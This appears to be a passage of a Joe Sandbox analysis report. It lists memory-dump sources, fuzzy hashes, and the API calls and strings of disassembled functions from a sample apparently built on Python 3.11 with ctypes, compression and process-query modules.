Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleProcess$ErrorInfoLastMemoryOpen
String ID: (kKKKKKKKKK)$OpenProcess$automatically set for PID 0
API String ID: 3576067431-2652395995
Opcode ID: c96220cb33b6c2f384865ab84d08a22d504b7e2c1e6550a0b9039a66c2826a71
Instruction ID: 4015c4743318eafc00591e02c0af2a3ed5cc8cc189026c4b36bdf64e07902a8d
Opcode Fuzzy Hash: c96220cb33b6c2f384865ab84d08a22d504b7e2c1e6550a0b9039a66c2826a71
Instruction Fuzzy Hash: FF31CE21A0DBC681EE609F29E85437A6BA5FF98BE0F544136DB8D43765DF3CE4468B00

Function 00007FF8B9F69D58 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON311(?,?,00000000,00007FF8B9F66BCC), ref: 00007FF8B9F69D73
PyObject_IsInstance.PYTHON311(?,?,00000000,00007FF8B9F66BCC), ref: 00007FF8B9F69DBB
PyErr_Format.PYTHON311(?,?,00000000,00007FF8B9F66BCC), ref: 00007FF8B9F69E4D

Strings

expected %s instance instead of pointer to %s, xrefs: 00007FF8B9F69DDF
???, xrefs: 00007FF8B9F69DD8
expected %s instance instead of %s, xrefs: 00007FF8B9F69E34

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: InstanceObject_$Err_Format
String ID: ???$expected %s instance instead of %s$expected %s instance instead of pointer to %s
API String ID: 215623467-1082101171
Opcode ID: c42a85ef290f4f7c7dec54bd01f908c692fe1a4d2cba32a0c83425372474c043
Instruction ID: 68106031ce67aa7258cda29d2a91a1810957cf5eb9edc33848178feedb4ee397
Opcode Fuzzy Hash: c42a85ef290f4f7c7dec54bd01f908c692fe1a4d2cba32a0c83425372474c043
Instruction Fuzzy Hash: 4F312B21A08BC281EA549F2AE9400796761EF45FF6F68A132DF9D477A5DF3CE885C310

Function 00007FF8B9073750 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90737A5
GetLastError.KERNEL32 ref: 00007FF8B90737B3
GetProcessIoCounters.KERNEL32 ref: 00007FF8B907380A
CloseHandle.KERNEL32 ref: 00007FF8B907381F
CloseHandle.KERNEL32 ref: 00007FF8B907382A

Strings

automatically set for PID 0, xrefs: 00007FF8B907378D
OpenProcess, xrefs: 00007FF8B90737BE
(KKKKKK), xrefs: 00007FF8B9073835

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleProcess$CountersErrorLastOpen
String ID: (KKKKKK)$OpenProcess$automatically set for PID 0
API String ID: 1257226484-302434769
Opcode ID: 97ea4f020694c1f111b7326fa42d3f1f607de4d13a1e6d7b72fbfc24bec8e139
Instruction ID: f95048cc5d507771d73aae651fba74d343d5f5fa5de23e14c8b9ec6b3ecef829
Opcode Fuzzy Hash: 97ea4f020694c1f111b7326fa42d3f1f607de4d13a1e6d7b72fbfc24bec8e139
Instruction Fuzzy Hash: DF310D61B08A8792FE609F29F8543796BA0FF68BE0F545035DB4D427A4EE2CE446C700

Function 00007FF8B90C38BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

PyThread_allocate_lock.PYTHON311(?,?,?,00007FF8B90C38A7), ref: 00007FF8B90C38C9
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90C390F
PyThread_free_lock.PYTHON311(?,?,?,00007FF8B90C38A7), ref: 00007FF8B90C3950
PyErr_SetString.PYTHON311(?,?,?,00007FF8B90C38A7), ref: 00007FF8B90CB775

Strings

Unable to allocate lock, xrefs: 00007FF8B90CB76B

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: String$Bytes_Err_FromSizeThread_allocate_lockThread_free_lock
String ID: Unable to allocate lock
API String ID: 1127547223-3516605728
Opcode ID: c17eff7bc98fcddad25fa0aa7e8872bdeafa31c641a1adeb9191edbd123e9819
Instruction ID: c7aee2a8ffacfa59f06f5b868b0b9187a026e4a5e990d94736a45cfba27d5133
Opcode Fuzzy Hash: c17eff7bc98fcddad25fa0aa7e8872bdeafa31c641a1adeb9191edbd123e9819
Instruction Fuzzy Hash: D3310232A18A8296EF559F38E54837823B4FF54BD8F144235CB4E46699DF2CE88EC350

Function 00007FF8B9F6D81C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6D85C
PyTuple_New.PYTHON311 ref: 00007FF8B9F6D87B
PyLong_FromSsize_t.PYTHON311 ref: 00007FF8B9F6D89E
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6D8B8
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6D8CC
Py_BuildValue.PYTHON311 ref: 00007FF8B9F6D8EC

Strings

siN, xrefs: 00007FF8B9F6D8DB
not a ctypes type or object, xrefs: 00007FF8B9F6D852

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$BuildDeallocFromLong_OccurredSsize_tStringTuple_Value
String ID: not a ctypes type or object$siN
API String ID: 1444022424-92050270
Opcode ID: 26a9fcd1b49395e45c52150cf6bc8a8343daf74cdcd0b31558393dc906a49e26
Instruction ID: 1bd3ae9aa296c1c1a9d99eb7272e5af5ade451976be47909e7dcf1f85ace9bcb
Opcode Fuzzy Hash: 26a9fcd1b49395e45c52150cf6bc8a8343daf74cdcd0b31558393dc906a49e26
Instruction Fuzzy Hash: D8212721A09BC281EA549F2AE89427927A1EF89FE6F085135DB0E47764DF2CE451D320

Function 00007FF8B90C2780 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8B90C27AA
PyObject_GetBuffer.PYTHON311 ref: 00007FF8B90C27BA
PyBuffer_IsContiguous.PYTHON311 ref: 00007FF8B90C27CB
PyBuffer_Release.PYTHON311 ref: 00007FF8B90C27F6
_PyArg_BadArgument.PYTHON311 ref: 00007FF8B90CB35E

Part of subcall function 00007FF8B90C26EC: PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90C270F
Part of subcall function 00007FF8B90C26EC: PyThread_release_lock.PYTHON311 ref: 00007FF8B90C273B

Strings

argument, xrefs: 00007FF8B90CB350
contiguous buffer, xrefs: 00007FF8B90CB349
compress, xrefs: 00007FF8B90CB357

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Buffer_$Arg_ArgumentBufferContiguousObject_ReleaseThread_acquire_lockThread_release_lockmemset
String ID: argument$compress$contiguous buffer
API String ID: 1731275941-2310704374
Opcode ID: b138ca2d2723dab52cb10e3a74fac2df87b6dda8ec1f7609b2bdead44722ed7b
Instruction ID: a2432adb877d1e6ca89f549caa85c98e4ec7967381ef783841c31bb8ba3dccca
Opcode Fuzzy Hash: b138ca2d2723dab52cb10e3a74fac2df87b6dda8ec1f7609b2bdead44722ed7b
Instruction Fuzzy Hash: 33111F62A18B8691EF10DF2DE8842A96371FB98BC4F558135DA4D43664DE2CE54AC700

Function 00007FF8B9F69FEC Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A00E
PyObject_GetBuffer.PYTHON311 ref: 00007FF8B9F6A024
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A04A
PyBuffer_Release.PYTHON311 ref: 00007FF8B9F6A055
memcpy.VCRUNTIME140 ref: 00007FF8B9F6A066
PyBuffer_Release.PYTHON311 ref: 00007FF8B9F6A070

Strings

byte string too long, xrefs: 00007FF8B9F6A040
cannot delete attribute, xrefs: 00007FF8B9F6A004

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Buffer_Err_ReleaseString$BufferObject_memcpy
String ID: byte string too long$cannot delete attribute
API String ID: 1128862751-688604938
Opcode ID: c0fad4b2d32ac0ab3663af02738014edb070c5b9f2759e00e789a8b2334ff090
Instruction ID: 58edea6ae6ca165b29bb94f5cf83ca03ea5307b1a1dbdc959e282da44fe4ca07
Opcode Fuzzy Hash: c0fad4b2d32ac0ab3663af02738014edb070c5b9f2759e00e789a8b2334ff090
Instruction Fuzzy Hash: 54016962A18EC2D1EB10CF69E8540792760FF85BEAF645132CB5E873A4DF2DE548C700

Function 00007FF8B9F65950 Relevance: 13.7, APIs: 9, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B9F65978
__scrt_initialize_crt.LIBCMT ref: 00007FF8B9F659BD
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B9F659CA
_RTC_Initialize.LIBCMT ref: 00007FF8B9F659F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B9F65A1E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B9F65A49

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 31b097c5beb5f15cde6c2b56eb33e70b4a1a94a0495c7f4a48947f332bb9daf1
Instruction ID: dc715efa0a0f5b1ddb4efd5c366fe9734519adace6c8997fee474ba3786a83fa
Opcode Fuzzy Hash: 31b097c5beb5f15cde6c2b56eb33e70b4a1a94a0495c7f4a48947f332bb9daf1
Instruction Fuzzy Hash: 7081AE20E1C7C386FA50AFADE48127966A0AF867F6F546035DB4DA7396DE3CE845C700

Function 00007FF8B9F62FC0 Relevance: 13.7, APIs: 9, Instructions: 155COMMON

Download Yara Rule

APIs

PyTuple_GetItem.PYTHON311 ref: 00007FF8B9F62FE9
_PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F63049
_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F630E6
PyDict_Update.PYTHON311 ref: 00007FF8B9F63181
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F631A4
_Py_CheckFunctionResult.PYTHON311 ref: 00007FF8B9F67D06

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dict_Item$CallCheckDeallocErrorFunctionMakeObject_ResultTuple_UpdateWith
String ID:
API String ID: 1807771726-0
Opcode ID: 42a6a9498eb4336f8fb7f7e14a875b7f35efea189098be1472c8111e8b538fde
Instruction ID: 4092b79292877b96c07d39c21c5aadffacb8dc86ac767eecca3c782b2885a304
Opcode Fuzzy Hash: 42a6a9498eb4336f8fb7f7e14a875b7f35efea189098be1472c8111e8b538fde
Instruction Fuzzy Hash: 6D615B21A08BC292FA958F29E9443B927A0BF45BE6F186435DF4D077A9DF7CE095C300

Function 00007FF8B90767F0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90760A0: GetAdaptersAddresses.IPHLPAPI ref: 00007FF8B90760C0

GetIfTable.IPHLPAPI ref: 00007FF8B907689C

Strings

(Oikk), xrefs: 00007FF8B90769A5
GetIfTable() syscall failed, xrefs: 00007FF8B90768E9
%wS, xrefs: 00007FF8B9076924

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: AdaptersAddressesTable
String ID: %wS$(Oikk)$GetIfTable() syscall failed
API String ID: 3665156436-3214263222
Opcode ID: 3238560b630cb62fcc133b6affa0500c3083dc838b0a7e8171d660494cb522c0
Instruction ID: ff153014ce5d3445e9999be8308d0fabc088632fcfd709363acb476556c3d2c7
Opcode Fuzzy Hash: 3238560b630cb62fcc133b6affa0500c3083dc838b0a7e8171d660494cb522c0
Instruction Fuzzy Hash: CE816A32A08AC295EE659F29A8083B96BA0FF65BE4F444035DB4F47794DF3CE446CB11

Function 00007FF8BA2461AA Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA246690: RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA2466D4
Part of subcall function 00007FF8BA246690: RaiseException.KERNEL32 ref: 00007FF8BA24671A

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA246247
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00007FF8BA2462A3

Strings

Access violation - no RTTI data!, xrefs: 00007FF8BA2461AA, 00007FF8BA2463CB
Attempted a typeid of nullptr pointer!, xrefs: 00007FF8BA246385
Bad dynamic_cast!, xrefs: 00007FF8BA246312
Bad read pointer - no RTTI data!, xrefs: 00007FF8BA2463A8

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1852475696-928371585
Opcode ID: ca6cf6770a5e62d56dc10247fecd8c14e7675c1b430a8679457d8e3be21ba961
Instruction ID: d973590822f973e82b2581121b1dd5b14d8310139aa4b54b5502fda92f660f16
Opcode Fuzzy Hash: ca6cf6770a5e62d56dc10247fecd8c14e7675c1b430a8679457d8e3be21ba961
Instruction Fuzzy Hash: 01519F62A19A8792EE24DB58E9916B96360FF44FC4F404172DF8E43B65DF3DE505E300

Function 00007FF8BA246B5C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246BE1
GetLastError.KERNEL32(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246BEF
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246C08
LoadLibraryExW.KERNEL32(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246C1A
FreeLibrary.KERNEL32(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246C60
GetProcAddress.KERNEL32(?,?,?,00007FF8BA246D1B,?,?,00000000,00007FF8BA246B4C,?,?,?,?,00007FF8BA246885), ref: 00007FF8BA246C6C

Strings

api-ms-, xrefs: 00007FF8BA246C01

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
Instruction ID: 0771b9e065c90a80d88598f58949237012481d065dc9b33f3a9b18f847fe1681
Opcode Fuzzy Hash: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
Instruction Fuzzy Hash: 6B31DC21B1EB4292EE26AB0AE9045B53394FF48FE4F594575EF2D0A790EF3CE145A300

Function 00007FF8B9F621A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

PyMem_Malloc.PYTHON311 ref: 00007FF8B9F621E5
PyDict_Update.PYTHON311 ref: 00007FF8B9F6224F
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F62272
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F67222
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67256

Strings

X{}, xrefs: 00007FF8B9F6220A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$CallDict_Err_MakeMallocMem_MemoryObject_Update
String ID: X{}
API String ID: 3445980372-2140212134
Opcode ID: 3f2902342c13d165ca5a04ad6b751020229967bc3c101f7663baa985dba562bd
Instruction ID: 3128b050b6f6a3f2ebe16aed0699aede4295e08bb5f836d30b8bdbd26fc827c9
Opcode Fuzzy Hash: 3f2902342c13d165ca5a04ad6b751020229967bc3c101f7663baa985dba562bd
Instruction Fuzzy Hash: 56312A31A09BC285FB558F69E9442B927A0AF4ABF2F586134DB8D477A4DF3CE494C700

Function 00007FF8B9F61860 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F618A7
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F618F5
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66AF1
PyCallable_Check.PYTHON311 ref: 00007FF8B9F66B12
PyErr_SetString.PYTHON311 ref: 00007FF8B9F66B31
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66B4A

Strings

restype must be a type, a callable, or None, xrefs: 00007FF8B9F66B27

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$AttrCallable_CheckErr_LookupObject_String
String ID: restype must be a type, a callable, or None
API String ID: 1528254987-4008198047
Opcode ID: 6452f5985481fdf810af319e620606f51f1d816ac9bc74436ba4aa13f9c82220
Instruction ID: 1975a5e84f3a2d6c9cd0c80d8aadc5794b1d7bbee8079d641dcafcc33e7bebe2
Opcode Fuzzy Hash: 6452f5985481fdf810af319e620606f51f1d816ac9bc74436ba4aa13f9c82220
Instruction Fuzzy Hash: EA311C22F09B8681EB958F6DE55037927A0EF46BF6F18A230CB4E467A4DE2CE455C300

Function 00007FF8B90CC5F8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B90CC630
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90CC693
PyList_Append.PYTHON311 ref: 00007FF8B90CC6A7
_Py_Dealloc.PYTHON311 ref: 00007FF8B90CC6C6
_Py_Dealloc.PYTHON311 ref: 00007FF8B90CC6D9

Strings

Unable to allocate output buffer., xrefs: 00007FF8B90CC685
avail_out is non-zero in _BlocksOutputBuffer_Grow()., xrefs: 00007FF8B90CC626

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: DeallocString$AppendBytes_Err_FromList_Size
String ID: Unable to allocate output buffer.$avail_out is non-zero in _BlocksOutputBuffer_Grow().
API String ID: 1563898963-3455802345
Opcode ID: 9b026c52384d1bde9e7588ce781edc70c1283e8086e1dddbc8207b2c901252c2
Instruction ID: 6d304ea10122de307ea4596ba87b4384328a026709fb82eca05caca142f7fd89
Opcode Fuzzy Hash: 9b026c52384d1bde9e7588ce781edc70c1283e8086e1dddbc8207b2c901252c2
Instruction Fuzzy Hash: 9A314B21B09A9682EE14CF19E5501386374FB58FE4B545A31EF6E477E4DF2CE45A8300

Function 00007FF8B9073870 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90738B3
GetLastError.KERNEL32 ref: 00007FF8B90738C1
GetProcessAffinityMask.KERNEL32 ref: 00007FF8B907390A
CloseHandle.KERNEL32 ref: 00007FF8B907391F
CloseHandle.KERNEL32 ref: 00007FF8B9073935

Strings

automatically set for PID 0, xrefs: 00007FF8B907389B
OpenProcess, xrefs: 00007FF8B90738CC

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

